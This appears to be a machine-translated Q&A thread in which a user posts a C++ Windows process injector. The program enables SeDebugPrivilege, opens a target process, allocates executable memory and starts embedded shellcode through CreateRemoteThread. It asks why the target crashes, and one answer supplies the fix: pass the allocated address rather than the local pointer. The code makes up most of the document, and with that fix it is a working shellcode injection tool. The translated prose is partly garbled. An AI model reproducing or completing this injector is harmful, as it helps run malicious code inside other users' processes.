Windows进程注入崩溃

这是我的第一个半长轴C++项目。我是一个自学成才的程序员，所以如果我的代码有任何重大缺陷或如果你碰巧有任何提示请给我指出来，我很渴望学习。谢谢。Windows进程注入崩溃

反正，我决定代码窗口的过程喷射器，如标题所说，我每次我试图注入Windows XP SP2的钙进入指定的进程，它崩溃。我决定让它成为XP的原因是因为这是一个测试版本/ POC /无论如何。

这是因为shellcode的是仅适用于特定的进程？我曾尝试不同的进程，explorer.exe，firefox.exe等仍然崩溃。哦，和FYI我的ASM不是最好的，所以我借壳shellcode的一些shellcode

此外，代码看起来如何？对于某些psapi/windows参数，我有些理解MSDN API的问题。这看起来有些模糊，在我的一些问题上在线上找到示例很难。

#include <windows.h> 
#include <stdio.h> 
#include <psapi.h> 
#define BYTESIZE 100 

void ProcessIdentf(DWORD ProcessID); 
//Required for Process Handling rights 
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name); 

int main(void){ 
    //x86 | Windows XP SP2 | calc.exe call 
    //POC data 
    unsigned char call_calc[] = 
    "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb" 
    "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78" 
    "\x65\x20\x2f\x63\x20\x63\x6d\x64"; 
    //Process HANDLE && Process Identifier WORD 
    HANDLE FfHandle; 
    int ProcID; 
    //VirtualAllocMemPnter 
    LPVOID lpv = NULL; 
    //Typecasted pointer to Shellcode 
    char* shellptr = call_calc; 
    //Handle for CreateRemoteThread function 
    HANDLE ControlStructRemote; 
    //Number of bytes successfully executed 
    SIZE_T bytescom; 
    //Data for Process enumeration 
    DWORD xyProcesses[1024]; //Max_Proc 
    DWORD abProcesses, cntbNeeded; 
    unsigned int c; 
    printf("POC version x00.\nInjects example x86 shellcode into process.\n"); 
    SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME); 
    printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for injection\n"); 
    Sleep(10000); 
    if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){ 
     exit(1); 
    } 
    abProcesses = cntbNeeded/sizeof(DWORD); 
    //Enumerate processes owned by current user 
    for(c = 0; c &lt; abProcesses; c++){ 
     if(xyProcesses[c] != 0){ 
      ProcessIdentf(xyProcesses[c]); 
     } 
    } 
    printf("Process PID required\n"); 
    scanf("%d", &ProcID); 
    FfHandle = OpenProcess(PROCESS_ALL_ACCESS, 
    FALSE, 
    ProcID); 
    lpv = VirtualAllocEx(FfHandle, 
    NULL, 
    BYTESIZE, 
    MEM_COMMIT, 
    0x40); //PAGE_EXECUTE_READWRITE 
    if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){ 
     ControlStructRemote = CreateRemoteThread(FfHandle, 
     0, 
     0, 
     (DWORD (__stdcall*) (void*)) shellptr, 
     0, 
     0, 
     0); 
     if(ControlStructRemote){ 
      printf("POC shellcode successful.\n"); 
     } 
     else{ 
      printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n"); 
     } 
    } 
    return 0; 
} 

void ProcessIdentf(DWORD ProcID){ 
    //Enumerates PID and modules. Prints. Implement in loop 
    //unicode char, max ntfs datafile 
    TCHAR szProcessname[MAX_PATH] = TEXT("&lt;unknown&gt;"); 
    //open proc handle 
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 
    FALSE, ProcID); 
    //enum modules 
    if(NULL != hProcess){ 
     HMODULE hMod; 
     DWORD cbNeed; 
     if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed)) 
     { 
      GetModuleBaseName(hProcess, hMod, szProcessname, 
      sizeof(szProcessname)/sizeof(TCHAR)); 
     } 
    } 
    //print PID 
    printf("%s PID: %u\n", szProcessname, ProcID); 
    //close processhandle 
    CloseHandle(hProcess); 
} 

int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){ 
    HANDLE hTokenProc; 
    LUID xDebugVal; 
    TOKEN_PRIVILEGES tPriv; 
    if(OpenProcessToken(xyProcess, 
    TOKEN_ADJUST_PRIVILEGES, 
    &hTokenProc)){ 
     if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){ 
      tPriv.PrivilegeCount = 1; 
      tPriv.Privileges[0].Luid = xDebugVal; 
      tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
      AdjustTokenPrivileges(hTokenProc, 
      FALSE, 
      &tPriv, 
      sizeof(TOKEN_PRIVILEGES), 
      NULL, 
      NULL 
      ); 
      if(GetLastError() == ERROR_SUCCESS){ 
       return TRUE; 
      } 
     } 
    } 
    return FALSE; 
}

来源

2011-09-02 Polishh

我不知道，就是为了获得帮助编写恶意软件的地方。 –

您在shellptr创建远程线程，但它应该是lpv，你写的代码。

BTW，尽量避免PROCESS_ALL_ACCESS，只指定你所需要的确切访问（这是所有MSDN上的每个API）

来源

2011-09-02 13:55:05 pezcode

Windows进程注入崩溃

回答

相关问题